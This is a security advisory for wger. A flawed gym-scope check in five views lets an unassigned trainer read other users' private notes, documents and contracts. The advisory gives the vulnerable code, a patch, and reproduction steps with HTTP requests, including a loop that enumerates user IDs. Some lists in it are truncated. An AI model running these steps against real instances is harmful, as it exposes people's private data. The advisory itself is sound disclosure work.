Five gym management views in wger apply a flawed gym-scope guard (gym_a != gym_b) that silently passes when both operands are None. A trainer with gym.gym_trainer and gym.add_adminusernote permissions and no gym assignment (gym=None) can read private admin notes, uploaded documents, gym contracts, user configuration, and user permission data for any other unaffiliated user on the instance. The subsequent querysets filter only on the attacker-supplied member_id with no secondary gym-scoped validation, so all records are disclosed.
Files: wger/gym/views/user.py, wger/gym/views/admin_notes.py, wger/gym/views/document.py, wger/gym/views/contract.py, wger/gym/views/user_config.py
The same flawed comparison pattern appears across at least five views:
# VULNERABLE - applied in admin_notes_list, documents_list, contracts_list,
# user_config, and gym_permissions_user_edit
if request.user.userprofile.gym != user.userprofile.gym:
return HttpResponseForbidden()
# After the guard (admin notes example):
notes = AdminUserNote.objects.filter(member=member) # only filtered by member_id
When both request.user.userprofile.gym and user.userprofile.gym are None, Python evaluates None != None as False, and HttpResponseForbidden is never reached. The subsequent queryset applies only the attacker-supplied member (user ID) as a filter — there is no secondary check tying the queryset to the requesting trainer's gym. All private admin notes, documents, and contracts for the target user are returned in the response body.
Affected endpoints:
GET /en/gym/notes/list/user/<member_pk> -> admin notes list viewGET /en/gym/documents/list/user/<member_pk> -> documents list viewGET /en/gym/contract/list/<member_pk> -> contracts list viewGET /en/gym/user/<member_pk>/config -> user config viewGET /en/gym/user/<member_pk>/permissions -> permission edit viewSuggested patch:
--- a/wger/gym/views/user.py
+++ b/wger/gym/views/user.py
- if request.user.userprofile.gym != user.userprofile.gym:
- return HttpResponseForbidden()
+ trainer_gym_id = request.user.userprofile.gym_id
+ member_gym_id = user.userprofile.gym_id
+
+ if trainer_gym_id is None or trainer_gym_id != member_gym_id:
+ return HttpResponseForbidden()
# Also tighten the queryset with a gym-scoped secondary filter:
- notes = AdminUserNote.objects.filter(member=member)
+ notes = AdminUserNote.objects.filter(
+ member=member,
+ member__userprofile__gym_id=request.user.userprofile.gym_id,
+ )
Extract a shared helper assert_same_gym(trainer, member) and call it consistently from all five affected views to eliminate future drift.
Tested on wger/server:latest Docker image. Test users: trainer1 (gym.gym_trainer + gym.add_adminusernote permissions, userprofile.gym=None) and alice (regular user, userprofile.gym=None, has a private admin note pre-seeded).
Step 1 - Authenticate as trainer with required perms and gym=None:
POST /en/user/login HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
username=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]
-> 302 Found; Set-Cookie: sessionid=[trainer1_session]
Step 2 - Read victim's private admin notes:
GET /en/gym/notes/list/user/2 HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]
-> 200 OK
body contains all private admin notes for user 2:
"PRIVATE_NOTE_ABOUT_ALICE_SALARY_50K"
"PHASE4_SECRET_SALARY_100K"
Step 3 - Read victim's documents and contracts (same pattern):
GET /en/gym/documents/list/user/2
GET /en/gym/contract/list/2
-> 200 OK for each; all records disclosed
Step 4 (optional) - Mass enumeration across all gym=None users:
Iterate user PKs 1..N:
GET /en/gym/notes/list/user/{uid}
-> 200 = gym=None victim (notes leaked)
-> 403 = gym-assigned user (check works correctly when gym values differ)
RBAC Disproof Protocol:
None-specific)Reproducibility: 2/2 runs after clean-baseline database reset.
An authenticated trainer with gym.gym_trainer + gym.add_adminusernote permissions and userprofile.gym=None can:
gym=None user (notes may contain salary data, medical notes, disciplinary records).Affected deployments: every wger instance where gym.gym_trainer + gym.add_adminusernote are delegated to non-admin users AND any other users exist with gym=None. The gym=None state is the default for newly registered users before manual gym assignment, so every public-registration wger instance is affected.
Severity: High (CVSS 7.1). Network-reachable, low complexity, requires only low privilege (delegated trainer), scope unchanged (same wger authority), high confidentiality loss across all unaffiliated accounts, low integrity impact (permission-edit view reachable).
This is structurally the same bug class as the sibling findings affecting trainer_login and reset_user_password (submitted separately). The root cause - Django ORM object-!= returning False when both sides are None - warrants a shared same_gym() helper applied across all five views.
{
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-07T13:33:14Z",
"nvd_published_at": null,
"severity": "HIGH"
}